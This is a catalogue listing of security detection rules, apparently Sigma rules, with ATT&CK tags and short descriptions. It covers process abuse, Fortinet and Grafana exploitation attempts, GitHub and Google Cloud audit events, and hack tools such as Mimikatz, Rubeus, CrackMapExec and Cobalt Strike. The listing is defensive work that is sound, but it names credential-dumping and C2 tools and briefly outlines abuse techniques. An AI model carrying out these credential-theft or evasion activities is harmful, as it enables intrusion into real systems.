Detects the execution of "forfiles" with the "/c" flag. While this is an expected behavior of the tool, it can be abused in order to proxy execution through it with any binary. Can be used to bypass application whitelisting.

Formbook Process Creation

Aug 12, 2024 · attack.resource-development attack.t1587.001 detection.emerging-threats ·

Share on:

Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters.

Fortinet CVE-2018-13379 Exploitation

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2018-13379 detection.emerging-threats ·

Share on:

Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs

Fortinet CVE-2021-22123 Exploitation

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-22123 detection.emerging-threats ·

Share on:

Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs

Fsutil Behavior Set SymlinkEvaluation

Aug 12, 2024 · attack.execution attack.t1059 ·

Share on:

A symbolic link is a type of file that contains a reference to another file. This is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt

Fsutil Drive Enumeration

Aug 12, 2024 · attack.discovery attack.t1120 ·

Share on:

Attackers may leverage fsutil to enumerated connected drives.

Fsutil Suspicious Invocation

Aug 12, 2024 · attack.defense-evasion attack.impact attack.t1070 attack.t1485 ·

Share on:

Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc). Might be used by ransomwares during the attack (seen by NotPetya and others).

Function Call From Undocumented COM Interface EditionUpgradeManager

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects function calls from the EditionUpgradeManager COM interface. Which is an interface that is not used by standard executables.

GAC DLL Loaded Via Office Applications

Aug 12, 2024 · attack.execution attack.t1204.002 ·

Share on:

Detects any GAC DLL being loaded by an Office Product

GALLIUM Artefacts - Builtin

Aug 12, 2024 · attack.credential-access attack.command-and-control attack.t1071 detection.emerging-threats ·

Share on:

Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.

Gatekeeper Bypass via Xattr

Aug 12, 2024 · attack.defense-evasion attack.t1553.001 ·

Share on:

Detects macOS Gatekeeper bypass via xattr utility

GatherNetworkInfo.VBS Reconnaissance Script Output

Aug 12, 2024 · attack.discovery ·

Share on:

Detects creation of files which are the results of executing the built-in reconnaissance script "C:\Windows\System32\gatherNetworkInfo.vbs".

Get-ADUser Enumeration Using UserAccountControl Flags

Aug 12, 2024 · attack.discovery attack.t1033 ·

Share on:

Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.

Github Delete Action Invoked

Aug 12, 2024 · attack.impact attack.collection attack.t1213.003 ·

Share on:

Detects delete action in the Github audit logs for codespaces, environment, project and repo.

Github Fork Private Repositories Setting Enabled/Cleared

Aug 12, 2024 · attack.persistence attack.t1020 attack.t1537 ·

Share on:

Detects when the policy allowing forks of private and internal repositories is changed (enabled or cleared).

Github High Risk Configuration Disabled

Aug 12, 2024 · attack.credential-access attack.defense-evasion attack.persistence attack.t1556 ·

Share on:

Detects when a user disables a critical security feature for an organization.

Github New Secret Created

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.initial-access attack.t1078.004 ·

Share on:

Detects when a user creates action secret for the organization, environment, codespaces or repository.

Github Outside Collaborator Detected

Aug 12, 2024 · attack.persistence attack.collection attack.t1098.001 attack.t1098.003 attack.t1213.003 ·

Share on:

Detects when an organization member or an outside collaborator is added to or removed from a project board or has their permission level changed or when an owner removes an outside collaborator from an organization or when two-factor authentication is required in an organization and an outside collaborator does not use 2FA or disables 2FA.

Github Repository/Organization Transferred

Aug 12, 2024 · attack.persistence attack.t1020 attack.t1537 ·

Share on:

Detects when a repository or an organization is being transferred to another location.

Github Secret Scanning Feature Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects if the secret scanning feature is disabled for an enterprise or repository.

Github Self Hosted Runner Changes Detected

Aug 12, 2024 · attack.impact attack.discovery attack.collection attack.defense-evasion attack.persistence attack.privilege-escalation attack.initial-access attack.t1526 attack.t1213.003 attack.t1078.004 ·

Share on:

A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context.

Github SSH Certificate Configuration Changed

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1078.004 ·

Share on:

Detects when changes are made to the SSH certificate configuration of the organization.

Goofy Guineapig Backdoor IOC

Aug 12, 2024 · attack.execution attack.defense-evasion detection.emerging-threats ·

Share on:

Detects malicious indicators seen used by the Goofy Guineapig malware

Goofy Guineapig Backdoor Potential C2 Communication

Aug 12, 2024 · attack.command-and-control detection.emerging-threats ·

Share on:

Detects potential C2 communication related to Goofy Guineapig backdoor

Goofy Guineapig Backdoor Service Creation

Aug 12, 2024 · attack.persistence detection.emerging-threats ·

Share on:

Detects service creation persistence used by the Goofy Guineapig backdoor

Google Cloud DNS Zone Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a DNS Zone is modified or deleted in Google Cloud.

Google Cloud Firewall Modified or Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1562 ·

Share on:

Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).

Google Cloud Kubernetes Admission Controller

Aug 12, 2024 · attack.persistence attack.t1078 attack.credential-access attack.t1552 attack.t1552.007 ·

Share on:

Identifies when an admission controller is executed in GCP Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.

Google Cloud Kubernetes CronJob

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.execution ·

Share on:

Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.

Google Cloud Kubernetes RoleBinding

Aug 12, 2024 · attack.credential-access ·

Share on:

Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.

Google Cloud Kubernetes Secrets Modified or Deleted

Aug 12, 2024 · attack.credential-access ·

Share on:

Identifies when the Secrets are Modified or Deleted.

Google Cloud Re-identifies Sensitive Information

Aug 12, 2024 · attack.impact attack.t1565 ·

Share on:

Identifies when sensitive information is re-identified in google Cloud.

Google Cloud Service Account Disabled or Deleted

Aug 12, 2024 · attack.impact attack.t1531 ·

Share on:

Identifies when a service account is disabled or deleted in Google Cloud.

Google Cloud Service Account Modified

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a service account is modified in Google Cloud.

Google Cloud SQL Database Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Detect when a Cloud SQL DB has been modified or deleted.

Google Cloud Storage Buckets Enumeration

Aug 12, 2024 · attack.discovery ·

Share on:

Detects when storage bucket is enumerated in Google Cloud.

Google Cloud Storage Buckets Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Detects when storage bucket is modified or deleted in Google Cloud.

Google Cloud VPN Tunnel Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.

Google Full Network Traffic Packet Capture

Aug 12, 2024 · attack.collection attack.t1074 ·

Share on:

Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.

Google Workspace Application Removed

Aug 12, 2024 · attack.impact ·

Share on:

Detects when an an application is removed from Google Workspace.

Google Workspace Granted Domain API Access

Aug 12, 2024 · attack.persistence attack.t1098 ·

Share on:

Detects when an API access service account is granted domain authority.

Google Workspace MFA Disabled

Aug 12, 2024 · attack.impact ·

Share on:

Detects when multi-factor authentication (MFA) is disabled.

Google Workspace Role Modified or Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Detects when an a role is modified or deleted in Google Workspace.

Google Workspace Role Privilege Deleted

Aug 12, 2024 · attack.impact ·

Share on:

Detects when an a role privilege is deleted in Google Workspace.

Google Workspace User Granted Admin Privileges

Aug 12, 2024 · attack.persistence attack.t1098 ·

Share on:

Detects when an Google Workspace user is granted admin privileges.

GoToAssist Temporary Installation Artefact

Aug 12, 2024 · attack.command-and-control attack.t1219 ·

Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Gpresult Display Group Policy Information

Aug 12, 2024 · attack.discovery attack.t1615 ·

Share on:

Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information

Gpscript Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy

Grafana Path Traversal Exploitation CVE-2021-43798

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-43798 detection.emerging-threats ·

Share on:

Detects a successful Grafana path traversal exploitation

Granting Of Permissions To An Account

Aug 12, 2024 · attack.persistence attack.t1098.003 ·

Share on:

Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.

Greedy File Deletion Using Del

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·

Share on:

Detects execution of the "del" builtin command to remove files using greedy/wildcard expression. This is often used by malware to delete content of folders that perhaps contains the initial malware infection or to delete evidence.

Greenbug Espionage Group Indicators

Aug 12, 2024 · attack.g0049 attack.execution attack.t1059.001 attack.command-and-control attack.t1105 attack.defense-evasion attack.t1036.005 detection.emerging-threats ·

Share on:

Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec

Griffon Malware Attack Pattern

Aug 12, 2024 · attack.execution detection.emerging-threats ·

Share on:

Detects process execution patterns related to Griffon malware as reported by Kaspersky

Group Has Been Deleted Via Groupdel

Aug 12, 2024 · attack.impact attack.t1531 ·

Share on:

Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks

Group Membership Reconnaissance Via Whoami.EXE

Aug 12, 2024 · attack.discovery attack.t1033 ·

Share on:

Detects the execution of whoami.exe with the /group command line flag to show group membership for the current user, account type, security identifiers (SID), and attributes.

Guacamole Two Users Sharing Session Anomaly

Aug 12, 2024 · attack.credential-access attack.t1212 ·

Share on:

Detects suspicious session with two users present

Guest Account Enabled Via Sysadminctl

Aug 12, 2024 · attack.initial-access attack.t1078 attack.t1078.001 ·

Share on:

Detects attempts to enable the guest account using the sysadminctl utility

Guest User Invited By Non Approved Inviters

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.t1078.004 ·

Share on:

Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.

Guest Users Invited To Tenant By Non Approved Inviters

Aug 12, 2024 · attack.initial-access attack.t1078 ·

Share on:

Detects guest users being invited to tenant by non-approved inviters

GUI Input Capture - macOS

Aug 12, 2024 · attack.credential-access attack.t1056.002 ·

Share on:

Detects attempts to use system dialog prompts to capture user credentials

Gzip Archive Decode Via PowerShell

Aug 12, 2024 · attack.command-and-control attack.t1132.001 ·

Share on:

Detects attempts of decoding encoded Gzip archives via PowerShell.

Hack Tool User Agent

Aug 12, 2024 · attack.initial-access attack.t1190 attack.credential-access attack.t1110 ·

Share on:

Detects suspicious user agent strings user by hack tools in proxy logs

HackTool - ADCSPwn Execution

Aug 12, 2024 · attack.credential-access attack.t1557.001 ·

Share on:

Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service

HackTool - BabyShark Agent Default URL Pattern

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·

Share on:

Detects Baby Shark C2 Framework default communication patterns

HackTool - Bloodhound/Sharphound Execution

Aug 12, 2024 · attack.discovery attack.t1087.001 attack.t1087.002 attack.t1482 attack.t1069.001 attack.t1069.002 attack.execution attack.t1059.001 ·

Share on:

Detects command line parameters used by Bloodhound and Sharphound hack tools

HackTool - CACTUSTORCH Remote Thread Creation

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1055.012 attack.t1059.005 attack.t1059.007 attack.t1218.005 ·

Share on:

Detects remote thread creation from CACTUSTORCH as described in references.

HackTool - Certify Execution

Aug 12, 2024 · attack.discovery attack.credential-access attack.t1649 ·

Share on:

Detects Certify a tool for Active Directory certificate abuse based on PE metadata characteristics and common command line arguments.

HackTool - CobaltStrike BOF Injection Pattern

Aug 12, 2024 · attack.execution attack.t1106 attack.defense-evasion attack.t1562.001 ·

Share on:

Detects a typical pattern of a CobaltStrike BOF which inject into other processes

HackTool - CobaltStrike Malleable Profile Patterns - Proxy

Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.t1071.001 ·

Share on:

Detects cobalt strike malleable profiles patterns (URI, User-Agents, Methods).

HackTool - Covenant PowerShell Launcher

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1059.001 attack.t1564.003 ·

Share on:

Detects suspicious command lines used in Covenant luanchers

HackTool - CrackMapExec Execution

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.credential-access attack.discovery attack.t1047 attack.t1053 attack.t1059.003 attack.t1059.001 attack.t1110 attack.t1201 ·

Share on:

This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.

HackTool - CrackMapExec Execution Patterns

Aug 12, 2024 · attack.execution attack.t1047 attack.t1053 attack.t1059.003 attack.t1059.001 attack.s0106 ·

Share on:

Detects various execution patterns of the CrackMapExec pentesting framework

HackTool - CrackMapExec File Indicators

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects file creation events with filename patterns used by CrackMapExec.

HackTool - CrackMapExec PowerShell Obfuscation

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1027.005 ·

Share on:

The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.

HackTool - CrackMapExec Process Patterns

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects suspicious process patterns found in logs when CrackMapExec is used

HackTool - Credential Dumping Tools Named Pipe Created

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.t1003.002 attack.t1003.004 attack.t1003.005 ·

Share on:

Detects well-known credential dumping tools execution via specific named pipe creation

HackTool - Default PowerSploit/Empire Scheduled Task Creation

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.s0111 attack.g0022 attack.g0060 car.2013-08-001 attack.t1053.005 attack.t1059.001 ·

Share on:

Detects the creation of a schtask via PowerSploit or Empire Default Configuration.

HackTool - DiagTrackEoP Default Named Pipe

Aug 12, 2024 · attack.privilege-escalation ·

Share on:

Detects creation of default named pipe used by the DiagTrackEoP POC, a tool that abuses "SeImpersonate" privilege.

HackTool - Dumpert Process Dumper Default File

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects the creation of the default dump file used by Outflank Dumpert tool. A process dumper, which dumps the lsass process memory

HackTool - Empire PowerShell Launch Parameters

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects suspicious powershell command line parameters used in Empire

HackTool - Empire PowerShell UAC Bypass

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 car.2019-04-001 ·

Share on:

Detects some Empire PowerShell UAC bypass methods

HackTool - Empire UserAgent URI Combo

Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.t1071.001 ·

Share on:

Detects user agent and URI paths used by empire agents

HackTool - F-Secure C3 Load by Rundll32

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·

Share on:

F-Secure C3 produces DLLs with a default exported StartNodeRelay function.

HackTool - HandleKatz Duplicating LSASS Handle

Aug 12, 2024 · attack.execution attack.t1106 attack.defense-evasion attack.t1003.001 ·

Share on:

Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles

HackTool - Hashcat Password Cracker Execution

Aug 12, 2024 · attack.credential-access attack.t1110.002 ·

Share on:

Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against

HackTool - Htran/NATBypass Execution

Aug 12, 2024 · attack.command-and-control attack.t1090 attack.s0040 ·

Share on:

Detects executable names or flags used by Htran or Htran-like tools (e.g. NATBypass)

HackTool - Hydra Password Bruteforce Execution

Aug 12, 2024 · attack.credential-access attack.t1110 attack.t1110.001 ·

Share on:

Detects command line parameters used by Hydra password guessing hack tool

HackTool - Impacket Tools Execution

Aug 12, 2024 · attack.execution attack.t1557.001 ·

Share on:

Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)

HackTool - Inveigh Execution

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool

HackTool - Inveigh Execution Artefacts

Aug 12, 2024 · attack.command-and-control attack.t1219 ·

Share on:

Detects the presence and execution of Inveigh via dropped artefacts

HackTool - Jlaive In-Memory Assembly Execution

Aug 12, 2024 · attack.execution attack.t1059.003 ·

Share on:

Detects the use of Jlaive to execute assemblies in a copied PowerShell

HackTool - Koadic Execution

Aug 12, 2024 · attack.execution attack.t1059.003 attack.t1059.005 attack.t1059.007 ·

Share on:

Detects command line parameters used by Koadic hack tool

HackTool - Koh Default Named Pipe

Aug 12, 2024 · attack.privilege-escalation attack.credential-access attack.t1528 attack.t1134.001 ·

Share on:

Detects creation of default named pipes used by the Koh tool

HackTool - KrbRelay Execution

Aug 12, 2024 · attack.credential-access attack.t1558.003 ·

Share on:

Detects the use of KrbRelay, a Kerberos relaying tool

HackTool - KrbRelayUp Execution

Aug 12, 2024 · attack.credential-access attack.t1558.003 attack.lateral-movement attack.t1550.003 ·

Share on:

Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced

HackTool - LittleCorporal Generated Maldoc Injection

Aug 12, 2024 · attack.execution attack.t1204.002 attack.t1055.003 ·

Share on:

Detects the process injection of a LittleCorporal generated Maldoc.

HackTool - Mimikatz Execution

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.t1003.002 attack.t1003.004 attack.t1003.005 attack.t1003.006 ·

Share on:

Detection well-known mimikatz command line arguments

HackTool - Mimikatz Kirbi File Creation

Aug 12, 2024 · attack.credential-access attack.t1558 ·

Share on:

Detects the creation of files created by mimikatz such as ".kirbi", "mimilsa.log", etc.

HackTool - NPPSpy Hacktool Usage

Aug 12, 2024 · attack.credential-access ·

Share on:

Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file

HackTool - Potential CobaltStrike Process Injection

Aug 12, 2024 · attack.defense-evasion attack.t1055.001 ·

Share on:

Detects a potential remote threat creation with certain characteristics which are typical for Cobalt Strike beacons

HackTool - Potential Impacket Lateral Movement Activity

Aug 12, 2024 · attack.execution attack.t1047 attack.lateral-movement attack.t1021.003 ·

Share on:

Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework

HackTool - Potential Remote Credential Dumping Activity Via CrackMapExec Or Impacket-Secretsdump

Aug 12, 2024 · attack.credential-access attack.t1003 ·

Share on:

Detects default filenames output from the execution of CrackMapExec and Impacket-secretsdump against an endpoint.

HackTool - PowerTool Execution

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects the execution of the tool PowerTool which has the ability to kill a process, delete its process file, unload drivers, and delete the driver files

HackTool - Powerup Write Hijack DLL

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.defense-evasion attack.t1574.001 ·

Share on:

Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation. In it's default mode, it builds a self deleting .bat file which executes malicious command. The detection rule relies on creation of the malicious bat file (debug.bat by default).

HackTool - PurpleSharp Execution

Aug 12, 2024 · attack.t1587 attack.resource-development ·

Share on:

Detects the execution of the PurpleSharp adversary simulation tool

HackTool - Pypykatz Credentials Dumping Activity

Aug 12, 2024 · attack.credential-access attack.t1003.002 ·

Share on:

Detects the usage of "pypykatz" to obtain stored credentials. Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database through Windows registry where the SAM database is stored

HackTool - Quarks PwDump Execution

Aug 12, 2024 · attack.credential-access attack.t1003.002 ·

Share on:

Detects usage of the Quarks PwDump tool via commandline arguments

HackTool - QuarksPwDump Dump File

Aug 12, 2024 · attack.credential-access attack.t1003.002 ·

Share on:

Detects a dump file written by QuarksPwDump password dumper

HackTool - RedMimicry Winnti Playbook Execution

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1106 attack.t1059.003 attack.t1218.011 ·

Share on:

Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility

HackTool - RemoteKrbRelay Execution

Aug 12, 2024 · attack.credential-access attack.t1558.003 ·

Share on:

Detects the use of RemoteKrbRelay, a Kerberos relaying tool via CommandLine flags and PE metadata.

HackTool - RemoteKrbRelay SMB Relay Secrets Dump Module Indicators

Aug 12, 2024 · attack.command-and-control attack.t1219 ·

Share on:

Detects the creation of file with specific names used by RemoteKrbRelay SMB Relay attack module.

HackTool - Rubeus Execution

Aug 12, 2024 · attack.credential-access attack.t1003 attack.t1558.003 attack.lateral-movement attack.t1550.003 ·

Share on:

Detects the execution of the hacktool Rubeus via PE information of command line parameters

HackTool - Rubeus Execution - ScriptBlock

Aug 12, 2024 · attack.credential-access attack.t1003 attack.t1558.003 attack.lateral-movement attack.t1550.003 ·

Share on:

Detects the execution of the hacktool Rubeus using specific command line flags

HackTool - SafetyKatz Dump Indicator

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects default lsass dump filename generated by SafetyKatz.

HackTool - SafetyKatz Execution

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects the execution of the hacktool SafetyKatz via PE information and default Image name

HackTool - SecurityXploded Execution

Aug 12, 2024 · attack.credential-access attack.t1555 ·

Share on:

Detects the execution of SecurityXploded Tools

HackTool - SharpChisel Execution

Aug 12, 2024 · attack.command-and-control attack.t1090.001 ·

Share on:

Detects usage of the Sharp Chisel via the commandline arguments

HackTool - SharpDPAPI Execution

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1134.001 attack.t1134.003 ·

Share on:

Detects the execution of the SharpDPAPI tool based on CommandLine flags and PE metadata. SharpDPAPI is a C# port of some DPAPI functionality from the Mimikatz project.

HackTool - SharPersist Execution

Aug 12, 2024 · attack.persistence attack.t1053 ·

Share on:

Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms

HackTool - SharpEvtMute Execution

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·

Share on:

Detects the use of SharpEvtHook, a tool that tampers with the Windows event logs

HackTool - SharpImpersonation Execution

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1134.001 attack.t1134.003 ·

Share on:

Detects execution of the SharpImpersonation tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively

HackTool - SharpLDAPmonitor Execution

Aug 12, 2024 · attack.discovery ·

Share on:

Detects execution of the SharpLDAPmonitor. Which can monitor the creation, deletion and changes to LDAP objects.

HackTool - SharpLdapWhoami Execution

Aug 12, 2024 · attack.discovery attack.t1033 car.2016-03-001 ·

Share on:

Detects SharpLdapWhoami, a whoami alternative that queries the LDAP service on a domain controller

HackTool - SharpUp PrivEsc Tool Execution

Aug 12, 2024 · attack.privilege-escalation attack.t1615 attack.t1569.002 attack.t1574.005 ·

Share on:

Detects the use of SharpUp, a tool for local privilege escalation

HackTool - SharpView Execution

Aug 12, 2024 · attack.discovery attack.t1049 attack.t1069.002 attack.t1482 attack.t1135 attack.t1033 ·

Share on:

Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems

HackTool - SILENTTRINITY Stager DLL Load

Aug 12, 2024 · attack.command-and-control attack.t1071 ·

Share on:

Detects SILENTTRINITY stager dll loading activity

HackTool - SILENTTRINITY Stager Execution

Aug 12, 2024 · attack.command-and-control attack.t1071 ·

Share on:

Detects SILENTTRINITY stager use via PE metadata

HackTool - Sliver C2 Implant Activity Pattern

Aug 12, 2024 · attack.execution attack.t1059 ·

Share on:

Detects process activity patterns as seen being used by Sliver C2 framework implants

HackTool - SysmonEnte Execution

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·

Share on:

Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon

HackTool - TruffleSnout Execution

Aug 12, 2024 · attack.discovery attack.t1482 ·

Share on:

Detects the use of TruffleSnout.exe an iterative AD discovery toolkit for offensive operators, situational awareness and targeted low noise enumeration.

HackTool - Typical HiveNightmare SAM File Export

Aug 12, 2024 · attack.credential-access attack.t1552.001 cve.2021-36934 ·

Share on:

Detects files written by the different tools that exploit HiveNightmare

HackTool - winPEAS Execution

Aug 12, 2024 · attack.privilege-escalation attack.t1082 attack.t1087 attack.t1046 ·

Share on:

WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz

HackTool - WinRM Access Via Evil-WinRM

Aug 12, 2024 · attack.lateral-movement attack.t1021.006 ·

Share on:

Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

HackTool - Wmiexec Default Powershell Command

Aug 12, 2024 · attack.defense-evasion attack.lateral-movement ·

Share on:

Detects the execution of PowerShell with a specific flag sequence that is used by the Wmiexec script

HackTool - XORDump Execution

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1003.001 ·

Share on:

Detects suspicious use of XORDump process memory dumping utility

Hacktool Execution - PE Metadata

Aug 12, 2024 · attack.credential-access attack.t1588.002 attack.t1003 ·

Share on:

Detects the execution of different Windows based hacktools via PE metadata (company, product, etc.) even if the files have been renamed

Hacktool Ruler

Aug 12, 2024 · attack.discovery attack.execution attack.t1087 attack.t1114 attack.t1059 attack.t1550.002 ·

Share on:

This events that are generated when using the hacktool Ruler by Sensepost

HackTool Service Registration or Execution

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·

Share on:

Detects installation or execution of services

HAFNIUM Exchange Exploitation Activity

Aug 12, 2024 · attack.persistence attack.t1546 attack.t1053 attack.g0125 detection.emerging-threats ·

Share on:

Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers

Hardware Model Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 car.2016-03-002 ·

Share on:

Detects the execution of WMIC with the "csproduct" which is used to obtain information such as hardware models and vendor information

Harvesting Of Wifi Credentials Via Netsh.EXE

Aug 12, 2024 · attack.discovery attack.credential-access attack.t1040 ·

Share on:

Detect the harvesting of wifi credentials using netsh.exe

Hermetic Wiper TG Process Patterns

Aug 12, 2024 · attack.execution attack.lateral-movement attack.t1021.001 detection.emerging-threats ·

Share on:

Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022

HH.EXE Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218.001 ·

Share on:

Detects the execution of "hh.exe" to open ".chm" files.

Hidden Executable In NTFS Alternate Data Stream

Aug 12, 2024 · attack.defense-evasion attack.s0139 attack.t1564.004 ·

Share on:

Detects the creation of an ADS (Alternate Data Stream) that contains an executable by looking at a non-empty Imphash

Hidden Files and Directories

Aug 12, 2024 · attack.defense-evasion attack.t1564.001 ·

Share on:

Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character

Hidden Local User Creation

Aug 12, 2024 · attack.persistence attack.t1136.001 ·

Share on:

Detects the creation of a local hidden user account which should not happen for event ID 4720.

Hidden Powershell in Link File Pattern

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects events that appear when a user click on a link file with a powershell command in it

Hidden User Creation

Aug 12, 2024 · attack.defense-evasion attack.t1564.002 ·

Share on:

Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option

Hide Schedule Task Via Index Value Tamper

Aug 12, 2024 · attack.defense-evasion attack.t1562 ·

Share on:

Detects when the "index" value of a scheduled task is modified from the registry Which effectively hides it from any tooling such as "schtasks /query" (Read the referenced link for more information about the effects of this technique)

Hiding Files with Attrib.exe

Aug 12, 2024 · attack.defense-evasion attack.t1564.001 ·

Share on:

Detects usage of attrib.exe to hide files from users.

Hijack Legit RDP Session to Move Laterally

Aug 12, 2024 · attack.command-and-control attack.t1219 ·

Share on:

Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder

History File Deletion

Aug 12, 2024 · attack.impact attack.t1565.001 ·

Share on:

Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity

Host Without Firewall

Aug 12, 2024 ·

Share on:

Host Without Firewall. Alert means not complied. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.

HTML Help HH.EXE Suspicious Child Process

Aug 12, 2024 · attack.defense-evasion attack.execution attack.initial-access attack.t1047 attack.t1059.001 attack.t1059.003 attack.t1059.005 attack.t1059.007 attack.t1218 attack.t1218.001 attack.t1218.010 attack.t1218.011 attack.t1566 attack.t1566.001 ·

Share on:

Detects a suspicious child process of a Microsoft HTML Help (HH.exe)

HTTP Request With Empty User Agent

